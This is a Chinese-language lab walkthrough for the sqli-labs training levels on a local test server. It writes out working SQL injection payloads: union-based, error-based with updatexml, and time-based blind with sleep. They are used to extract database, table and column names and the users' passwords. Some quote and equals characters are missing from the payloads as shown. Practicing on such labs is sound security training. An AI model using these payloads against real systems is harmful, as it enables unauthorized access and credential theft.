一、Less-1http://127.0.0.1/sqli/Less-1/?id1根据在URL中输入对应内容发现页面正常回显说明该传参为get方式1、首先判断注入类型http://127.0.0.1/sqli/Less-1/?id1 and 12 --在URL中输入此段代码发现页面正常回显由此可以得出此关卡为字符型注入原理分析我们可以通过查看页面源代码找到对应查询语句$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;该语句说明了SQL在查询时采用的传参方式我们输入到URL上面的内容会拿去直接传给参数$id当我们输入id1 and 12时会被放入最终变为id1 and 12在SQL语句里面这句话是可以正常执行的虽然12是恒不成立但是SQL是读取到id1这个选项的只是会有一个警告信息页面是可以正常回显内容的根据这个原理我们能够得出这个sql注入是字符型的2、判断字符型注入的闭合方式http://127.0.0.1/sqli/Less-1/?id1 and 12 --由步骤1我们已经得出这一关是字符型注入接下来我们就需要判断它的闭合方式在第一步的URL基础上进行闭合符的添加常见的闭合方式有 ) )等我们一个一个试原理依旧和第一步的原理差不多当我们加入闭合符时发现页面无法正常显示这是因为我们语句使用的是and语句且条件是恒不成立的此时页面没有正常回显说明语句已经闭合所以闭合符是3、判断列数http://127.0.0.1/sqli/Less-1/?id1 order by 3 --http://127.0.0.1/sqli/Less-1/?id1 order by 4 --在确定注入类型和闭合方式以后我们需要判断这个数据表的列数通常我们使用order by 这个关键字当我们使用order by 3时页面正常显示但当我们使用order by 4时页面显示找不到第四列说明我们目前实用的数据表里面只有三列。原理分析order by判断列数是利用了SQL查询时的报错信息在sql里面查询查不到该列也是同样的报错我们可以利用这个报错信息进行列数判断4、判断回显位置http://127.0.0.1/sqli/Less-1/?id-1 union select 1,2,3 --判断完注入类型、闭合方式、列数后我们就需要明白这个页面的回显位置寻找回显位置我们使用的是union联合查询的方式因为我们前面已经找到列数为3union查询的要求是前后查询目标的列数要保持一致所以我们在使用union select时需要将使用三个列此处我们使用select 123 来判断数据的回显位置通过页面的相应我们能够观察到回显位置为第二列和第三列那么我们就可以利用回显位置来获取信息比如数据库名可以直接获取到数据库的名字为security接下里我们就利用这些基础信息来获取库表数据等信息5、获取数据表名http://127.0.0.1/sqli/Less-1/?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --获取表名我们依旧使用union联合查询注意列数一定要为3否则union无法正常执行我们在前面已经知道了数据库名为security我们就可以利用数据库名来为查询添加限制条件。原理分析语句中使用的group_concat的作用是将查询到的内容拼接显示默认逗号分隔同样我们也可以指定连接符这里使用的知识还有数据库的基本结构这里有一个数据库存储元数据-information_schema这里面存储的是数据库名、表名、列的数据类型、访问权限等此时我们只需要指定tables表内的table_name为我们刚刚查询出来的security就可以获得security库内的所有表名6、获取列名http://127.0.0.1/sqli/Less-1/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers --information_schema库内有一个columns表专门用来存储字段可以利用这个表来获取我们需要的表内字段名注意查询内容要换成columns内的column_name字段并且同时约束为security库内的users表我们就可以查询到users表内有id username password三个字段7、获取表内数据http://127.0.0.1/sqli/Less-1/?id-1 union select 1,group_concat(id,~,username,~,password),3 from users --当我们拿到数据库数据表的内容后我们就可以使用group_concat函数将表内的数据拼接显示出来二、Less-2根据前面的步骤一步一步进行由此可得第二关是数字型注入其余都和第一关一样只需要将闭合符号去掉即可三、Less-3根据页面显示可以判断出第三关为字符型注入接下里我们判断闭合方式依旧尝试不同的闭合符我们通过报错发现闭合符为)验证闭合符正确接下来的步骤和之前一样四、Less-4根据页面回显内容可以得出这一关是字符型注入此时我们去判断它 的闭合方式尝试常见的几种闭合符判断出闭合符是)接下里就和前几关一样五、Less-51、判断注入类型根据页面显示内容我们可以得出这一关依旧是字符型注入但是在显示上面不同依旧先判断闭合方式。2、判断闭合方式尝试发现闭合方式为我们按照常规方式接下来判断列数3、判断列数此时能判断出来列数为3但是要注意页面显示方式不同它不会再显示数据内容只会显示you are in 和报错信息判断这一关是布尔盲注我们需要利用页面的报错信息来获取我们需要的内容 。4、获取数据库名接下来我们就需要使用到一个函数updatexml() 这个函数的作用是查找并替换xml⽂档中符合条件的节点的值语法格式updatexml(文档对象名称,字符串位置,即将替换成的具体内容)http://127.0.0.1/sqli/Less-5/?id1 and updatexml(1,concat(~,(select database()),~),1)--5、查询数据表名http://127.0.0.1/sqli/Less-5/?id1 and updatexml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),~),1)--6、获取列名http://127.0.0.1/sqli/Less-5/?id1 and updatexml(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers ),~),1)--7、获取表内数据http://127.0.0.1/sqli/Less-5/?id1 and updatexml(~,concat(~,(select group_concat(id,~,username,~,password) from users),~),~)--六、Less-9通过页面显示的内容我们发现不管我们输入什么东西页面都显示同一个内容这说明不是像前面四关那么普通的注入同时也不是第五关的布尔盲注我们无法通过页面显示的内容获取所需要的信息此时可以考虑时间盲注http://127.0.0.1/sqli/Less-9/?id1 and if(11,sleep(5),1)-- --这句话的意思是先判断第一个节点内的内容若为真则执行第二个节点若为假则执行第三个节点11这是恒成立语句所以应该执行第二个节点的内容即休眠五秒观察页面左上角页面确实休眠五秒那么我们就可以利用这个原理去查找判断我们所需要的信息1、判断数据库长度http://127.0.0.1/sqli/Less-9/?id1and if(length((select database()))9,sleep(5),1)--按照这个语句不断试探数据库的字符长度可以使用,最终得出数据库名的字符长度为82、获取数据库名http://127.0.0.1/sqli/Less-9/?id1and if(ascii(substr((select database()),1,1))115,sleep(5),1)--根据这个语句不断试探最终得出数据库名为security3、获取数据表名http://127.0.0.1/sqli/Less-9/?id1and if(length((select group_concat(table_name) from information_schema.tables where table_schemadatabase()))13,sleep(5),1)--这个语句用于判断表名长度http://127.0.0.1/sqli/Less-9/?id1and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1))99,sleep(5),1)这个语句用于判断表名一个一个试获取数据表名4、获取列名http://127.0.0.1/sqli/Less-9/?id1and if(length((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers))25,sleep(5),1)--此语句用来判断列名长度http://127.0.0.1/sqli/Less-9/?id1and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),1,1))99,sleep(5),1)--此语句用来判断列名依旧是通过不断缩小范围不断尝试获取列名5、获取内容http://127.0.0.1/sqli/Less-9/?id1 and if(ascii(substr((select group_concat(username,password) from users),1,1))50,sleep(5),1)--通过不断尝试获取内容